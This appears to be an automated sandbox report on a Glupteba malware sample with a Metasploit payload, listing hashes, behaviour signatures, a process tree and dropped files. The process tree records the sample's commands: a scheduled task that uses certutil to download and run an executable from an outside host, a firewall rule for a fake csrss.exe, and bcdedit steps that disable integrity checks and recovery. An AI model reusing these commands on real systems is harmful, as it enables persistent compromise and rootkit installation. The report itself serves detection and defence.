Analysis

  • max time kernel
    138s
  • max time network
    86s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    29-01-2023 18:32

General

  • Target

    a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe

  • Size

    3.9MB

  • MD5

    31cdfaecc20c78ec5122f2c4359f6e34

  • SHA1

    cd589c314b3d6b2d03d7c309a634c3b9dbf65155

  • SHA256

    a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7

  • SHA512

    89405962b2c271e2f78c4c4f89e72e9b04e0e4426896e043ffef1b82d165c3e28c019797bdca1e51022d90bd11cd87ab4dc6d911c4ea5d56064815476fbbb594

  • SSDEEP

    98304:JiW+nk7jyjg4cRvX29Pi7AQWOClQ2FVi44ksje:Jx+nM5o9gvoi/ksj

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 7 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Windows security bypass 2 TTPs 10 IoCs
  • Modifies boot configuration data using bcdedit 14 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Possible attempt to disable PatchGuard 2 TTPs

    Rootkits can use kernel patching to embed themselves in an operating system.

  • Loads dropped DLL 12 IoCs
  • Windows security modification 2 TTPs 10 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Windows directory 3 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 58 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
    "C:\Users\Admin\AppData\Local\Temp\a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1224
    • C:\Users\Admin\AppData\Local\Temp\a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
      "C:\Users\Admin\AppData\Local\Temp\a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe"
      2⤵
      • Windows security bypass
      • Loads dropped DLL
      • Windows security modification
      • Adds Run key to start application
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2004
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:848
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Modifies data under HKEY_USERS
          PID:552
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Loads dropped DLL
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1808
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:1624
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:996
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Modifies system certificate store
          • Suspicious use of WriteProcessMemory
          PID:536
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1680
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1528
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1720
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -timeout 0
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1564
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1180
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1220
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
            5⤵
            • Modifies boot configuration data using bcdedit
            • Drops file in Windows directory
            PID:632
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1120
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1920
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1752
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1880
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2040
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:540
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:1540
        • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
          C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
          4⤵
          • Executes dropped EXE
          PID:772
  • C:\Windows\system32\makecab.exe
    "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20230129183231.log C:\Windows\Logs\CBS\CbsPersist_20230129183231.cab
    1⤵
      PID:632
    • C:\Windows\system32\conhost.exe
      \??\C:\Windows\system32\conhost.exe "849546804-211853450-293640195-1136052029-16421302087596614016448893101125731675"
      1⤵
        PID:1680

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe

        Filesize

        94KB

        MD5

        d98e78fd57db58a11f880b45bb659767

        SHA1

        ab70c0d3bd9103c07632eeecee9f51d198ed0e76

        SHA256

        414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

        SHA512

        aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

      • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

        Filesize

        1.7MB

        MD5

        13aaafe14eb60d6a718230e82c671d57

        SHA1

        e039dd924d12f264521b8e689426fb7ca95a0a7b

        SHA256

        f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

        SHA512

        ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

      • C:\Windows\rss\csrss.exe

        Filesize

        3.9MB

        MD5

        31cdfaecc20c78ec5122f2c4359f6e34

        SHA1

        cd589c314b3d6b2d03d7c309a634c3b9dbf65155

        SHA256

        a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7

        SHA512

        89405962b2c271e2f78c4c4f89e72e9b04e0e4426896e043ffef1b82d165c3e28c019797bdca1e51022d90bd11cd87ab4dc6d911c4ea5d56064815476fbbb594

      • \Users\Admin\AppData\Local\Temp\csrss\dsefix.exe

        Filesize

        94KB

        MD5

        d98e78fd57db58a11f880b45bb659767

        SHA1

        ab70c0d3bd9103c07632eeecee9f51d198ed0e76

        SHA256

        414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

        SHA512

        aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

      • \Users\Admin\AppData\Local\Temp\csrss\patch.exe

        Filesize

        1.7MB

        MD5

        13aaafe14eb60d6a718230e82c671d57

        SHA1

        e039dd924d12f264521b8e689426fb7ca95a0a7b

        SHA256

        f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

        SHA512

        ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

      • \Users\Admin\AppData\Local\Temp\dbghelp.dll

        Filesize

        1.5MB

        MD5

        f0616fa8bc54ece07e3107057f74e4db

        SHA1

        b33995c4f9a004b7d806c4bb36040ee844781fca

        SHA256

        6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

        SHA512

        15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

      • \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

        Filesize

        5.3MB

        MD5

        1afff8d5352aecef2ecd47ffa02d7f7d

        SHA1

        8b115b84efdb3a1b87f750d35822b2609e665bef

        SHA256

        c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

        SHA512

        e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

      • \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

        Filesize

        5.3MB

        MD5

        1afff8d5352aecef2ecd47ffa02d7f7d

        SHA1

        8b115b84efdb3a1b87f750d35822b2609e665bef

        SHA256

        c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

        SHA512

        e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

      • \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

        Filesize

        5.3MB

        MD5

        1afff8d5352aecef2ecd47ffa02d7f7d

        SHA1

        8b115b84efdb3a1b87f750d35822b2609e665bef

        SHA256

        c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

        SHA512

        e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

      • \Users\Admin\AppData\Local\Temp\osloader.exe

        Filesize

        591KB

        MD5

        e2f68dc7fbd6e0bf031ca3809a739346

        SHA1

        9c35494898e65c8a62887f28e04c0359ab6f63f5

        SHA256

        b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

        SHA512

        26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

      • \Users\Admin\AppData\Local\Temp\osloader.exe

        Filesize

        591KB

        MD5

        e2f68dc7fbd6e0bf031ca3809a739346

        SHA1

        9c35494898e65c8a62887f28e04c0359ab6f63f5

        SHA256

        b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

        SHA512

        26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

      • \Users\Admin\AppData\Local\Temp\osloader.exe

        Filesize

        591KB

        MD5

        e2f68dc7fbd6e0bf031ca3809a739346

        SHA1

        9c35494898e65c8a62887f28e04c0359ab6f63f5

        SHA256

        b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

        SHA512

        26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

      • \Users\Admin\AppData\Local\Temp\symsrv.dll

        Filesize

        163KB

        MD5

        5c399d34d8dc01741269ff1f1aca7554

        SHA1

        e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

        SHA256

        e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

        SHA512

        8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

      • \Windows\rss\csrss.exe

        Filesize

        3.9MB

        MD5

        31cdfaecc20c78ec5122f2c4359f6e34

        SHA1

        cd589c314b3d6b2d03d7c309a634c3b9dbf65155

        SHA256

        a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7

        SHA512

        89405962b2c271e2f78c4c4f89e72e9b04e0e4426896e043ffef1b82d165c3e28c019797bdca1e51022d90bd11cd87ab4dc6d911c4ea5d56064815476fbbb594

      • \Windows\rss\csrss.exe

        Filesize

        3.9MB

        MD5

        31cdfaecc20c78ec5122f2c4359f6e34

        SHA1

        cd589c314b3d6b2d03d7c309a634c3b9dbf65155

        SHA256

        a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7

        SHA512

        89405962b2c271e2f78c4c4f89e72e9b04e0e4426896e043ffef1b82d165c3e28c019797bdca1e51022d90bd11cd87ab4dc6d911c4ea5d56064815476fbbb594

      • memory/536-80-0x0000000140000000-0x00000001405E8000-memory.dmp

        Filesize

        5.9MB

      • memory/540-87-0x0000000000000000-mapping.dmp

      • memory/552-63-0x000007FEFB9E1000-0x000007FEFB9E3000-memory.dmp

        Filesize

        8KB

      • memory/552-61-0x0000000000000000-mapping.dmp

      • memory/632-94-0x0000000000000000-mapping.dmp

      • memory/772-101-0x0000000000000000-mapping.dmp

      • memory/848-60-0x0000000000000000-mapping.dmp

      • memory/1120-92-0x0000000000000000-mapping.dmp

      • memory/1180-96-0x0000000000000000-mapping.dmp

      • memory/1220-95-0x0000000000000000-mapping.dmp

      • memory/1224-55-0x0000000003040000-0x00000000033E8000-memory.dmp

        Filesize

        3.7MB

      • memory/1224-54-0x0000000003040000-0x00000000033E8000-memory.dmp

        Filesize

        3.7MB

      • memory/1224-56-0x00000000033F0000-0x0000000003BF4000-memory.dmp

        Filesize

        8.0MB

      • memory/1224-57-0x0000000000400000-0x0000000002E80000-memory.dmp

        Filesize

        42.5MB

      • memory/1224-59-0x0000000000400000-0x0000000002E80000-memory.dmp

        Filesize

        42.5MB

      • memory/1528-93-0x0000000000000000-mapping.dmp

      • memory/1540-99-0x0000000000000000-mapping.dmp

      • memory/1564-97-0x0000000000000000-mapping.dmp

      • memory/1680-86-0x0000000000000000-mapping.dmp

      • memory/1720-98-0x0000000000000000-mapping.dmp

      • memory/1752-90-0x0000000000000000-mapping.dmp

      • memory/1808-71-0x0000000003050000-0x00000000033F8000-memory.dmp

        Filesize

        3.7MB

      • memory/1808-82-0x0000000000400000-0x0000000002E80000-memory.dmp

        Filesize

        42.5MB

      • memory/1808-79-0x0000000000400000-0x0000000002E80000-memory.dmp

        Filesize

        42.5MB

      • memory/1808-69-0x0000000003050000-0x00000000033F8000-memory.dmp

        Filesize

        3.7MB

      • memory/1808-67-0x0000000000000000-mapping.dmp

      • memory/1880-89-0x0000000000000000-mapping.dmp

      • memory/1920-91-0x0000000000000000-mapping.dmp

      • memory/2004-58-0x0000000003130000-0x00000000034D8000-memory.dmp

        Filesize

        3.7MB

      • memory/2004-70-0x0000000000400000-0x0000000002E80000-memory.dmp

        Filesize

        42.5MB

      • memory/2004-64-0x0000000000400000-0x0000000002E80000-memory.dmp

        Filesize

        42.5MB

      • memory/2004-62-0x0000000003130000-0x00000000034D8000-memory.dmp

        Filesize

        3.7MB

      • memory/2040-88-0x0000000000000000-mapping.dmp